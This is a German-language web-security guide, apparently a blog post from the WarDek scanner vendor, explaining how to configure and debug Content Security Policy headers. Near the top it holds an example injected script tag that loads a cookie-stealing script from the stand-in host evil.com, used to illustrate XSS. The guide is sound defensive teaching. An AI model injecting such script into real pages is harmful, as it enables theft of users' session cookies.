Sécurité

Content Security Policy (CSP): Praxisleitfaden

CSP implementieren: Direktiven, Praxisbeispiele, häufige Fehler und Debug mit DevTools. Praxisleitfaden für KMU.

25 mars 20263 min de lectureWarDek Team

Content Security Policy (CSP): Der Praxisleitfaden

Die Content Security Policy ist der effektivste Header-basierte Schutz gegen Cross-Site-Scripting (XSS). Sie definiert, welche Ressourcen der Browser laden darf — und blockiert alles andere. Dieser Leitfaden zeigt, wie Sie CSP schrittweise einführen, ohne Ihre Website zu beschädigen.

Warum CSP?

Ohne CSP kann ein Angreifer, der eine XSS-Lücke findet, beliebige Scripts in Ihre Seite einschleusen:

<!-- Ohne CSP: Angreifer kann beliebiges Script laden -->
<script src="https://evil.com/steal-cookies.js"></script>

Mit CSP wird dieses Script blockiert, selbst wenn die XSS-Lücke existiert:

Content-Security-Policy: script-src 'self'
→ Browser blockiert Scripts von evil.com

Die wichtigsten Direktiven

Ressourcen-Direktiven

DirektiveKontrolliertBeispiel
default-srcFallback für alle Ressourcendefault-src 'self'
script-srcJavaScriptscript-src 'self' https://cdn.example.com
style-srcCSSstyle-src 'self' 'unsafe-inline'
img-srcBilderimg-src 'self' data: https:
font-srcSchriftenfont-src 'self' https://fonts.gstatic.com
connect-srcFetch, XHR, WebSocketconnect-src 'self' https://api.example.com
media-srcAudio und Videomedia-src 'self'
frame-srciframesframe-src https://www.youtube-nocookie.com
object-srcFlash, Java, ActiveXobject-src 'none'
base-uri<base> Elementbase-uri 'self'

Navigations-Direktiven

DirektiveKontrolliert
frame-ancestorsWer darf Ihre Seite einbetten (ersetzt X-Frame-Options)
form-actionWohin Formulare gesendet werden dürfen
navigate-toWohin die Seite navigieren darf

Quellwerte

WertBedeutung
'self'Eigene Domain
'none'Nichts erlaubt
'unsafe-inline'Inline-Scripts/Styles (unsicher, vermeiden)
'unsafe-eval'Dynamische Code-Ausführung (unsicher, vermeiden)
https:Jede HTTPS-Quelle
data:Data-URIs (für inline Bilder)
'nonce-abc123'Spezifisches Nonce-Token
'strict-dynamic'Vertrauenskette: von vertrautem Script geladene Scripts erlaubt

Schrittweise Einführung

Phase 1: Report-Only-Modus

Starten Sie im Beobachtungsmodus — CSP meldet Verstöße, blockiert aber nicht:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Analysieren Sie die Berichte für 1–2 Wochen:

  • Welche externen Ressourcen werden geladen?
  • Welche Inline-Scripts und -Styles existieren?
  • Welche Drittanbieter-Scripts sind im Einsatz?

Phase 2: Basis-Policy

Erstellen Sie eine Policy basierend auf Ihren Erkenntnissen:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://www.google-analytics.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none'

Phase 3: Verschärfung

Schrittweise unsichere Werte ersetzen:

  1. unsafe-inline für Scripts eliminieren — Nonces oder Hashes verwenden
  2. unsafe-inline für Styles minimieren — Externe Stylesheets bevorzugen
  3. Wildcard-Domains einschränken — Spezifische Hosts statt https:

Nonces: Inline-Scripts sicher machen

Statt 'unsafe-inline' können Sie Nonces verwenden — einmalige Token, die pro Request generiert werden:

Server-seitig (Node.js/Express Beispiel)

import crypto from 'crypto'

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64')
  res.locals.nonce = nonce
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${nonce}'`
  )
  next()
})

Im HTML

<script nonce="abc123base64...">
  // Dieses Script wird erlaubt
  console.log('Legitimate script')
</script>

Wichtig: Das Nonce muss bei jedem Request neu generiert werden. Ein statisches Nonce bietet keinen Schutz.

CSP für gängige Szenarien

WordPress-Website

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' 'unsafe-eval';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' data:;
  connect-src 'self';
  frame-src 'self' https://www.youtube-nocookie.com;
  frame-ancestors 'none'

Hinweis: WordPress und viele Plugins benötigen leider 'unsafe-inline' und teils 'unsafe-eval'. Dies ist ein bekannter Kompromiss.

Single-Page-Application (React/Next.js)

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self';
  connect-src 'self' https://api.ihredomain.de;
  frame-ancestors 'none';
  base-uri 'self'

E-Commerce mit Zahlungsanbietern

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://js.stripe.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  frame-src https://js.stripe.com https://hooks.stripe.com;
  connect-src 'self' https://api.stripe.com;
  frame-ancestors 'none'

Debugging mit Browser DevTools

Chrome/Edge

  1. Öffnen Sie die DevTools (F12)
  2. Tab Konsole — CSP-Verstöße erscheinen als Fehler in Rot
  3. Tab Netzwerk — Blockierte Requests zeigen (blocked:csp)

Typische Fehlermeldungen

Refused to load the script 'https://cdn.example.com/script.js'
because it violates the following Content Security Policy directive:
"script-src 'self'"

Lösung: https://cdn.example.com zu script-src hinzufügen.

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'"

Lösung: Nonce verwenden oder Script in externe Datei auslagern.

Häufige Fehler

FehlerProblemLösung
Kein default-srcNicht abgedeckte Ressourcentypen sind ungeschütztImmer default-src 'self' als Basis
script-src 'self' *Wildcard erlaubt Scripts von überallSpezifische Domains listen
object-src vergessenFlash/Plugin-basierte Angriffe möglichobject-src 'none' setzen
CSP nur auf HauptseiteAPI und Subdomains ungeschütztServer-weit konfigurieren
Nonce im CacheStatisches Nonce bietet keinen SchutzNonce pro Request generieren

CSP-Level und Browser-Unterstützung

FeatureChromeFirefoxSafariEdge
CSP Level 2Seit 40Seit 31Seit 10Seit 15
CSP Level 3 (Nonces)Seit 59Seit 58Seit 15.4Seit 79
strict-dynamicSeit 52Seit 52Seit 15.4Seit 79

Fazit

CSP ist der wirksamste Header-basierte Schutz gegen XSS — aber er erfordert sorgfältige Konfiguration. Starten Sie im Report-Only-Modus, analysieren Sie Ihre Abhängigkeiten und verschärfen Sie die Policy schrittweise. Der Aufwand lohnt sich: Eine gute CSP macht XSS-Angriffe wirkungslos.


Scannen Sie Ihre Website kostenlos mit WarDek — OWASP, NIS2, DSGVO, AI Act Compliance in einem Scan.

#CSP#XSS#Sicherheitsheader#Web-Sicherheit

Scannez votre site gratuitement

WarDek détecte les vulnérabilités mentionnées dans cet article en quelques secondes.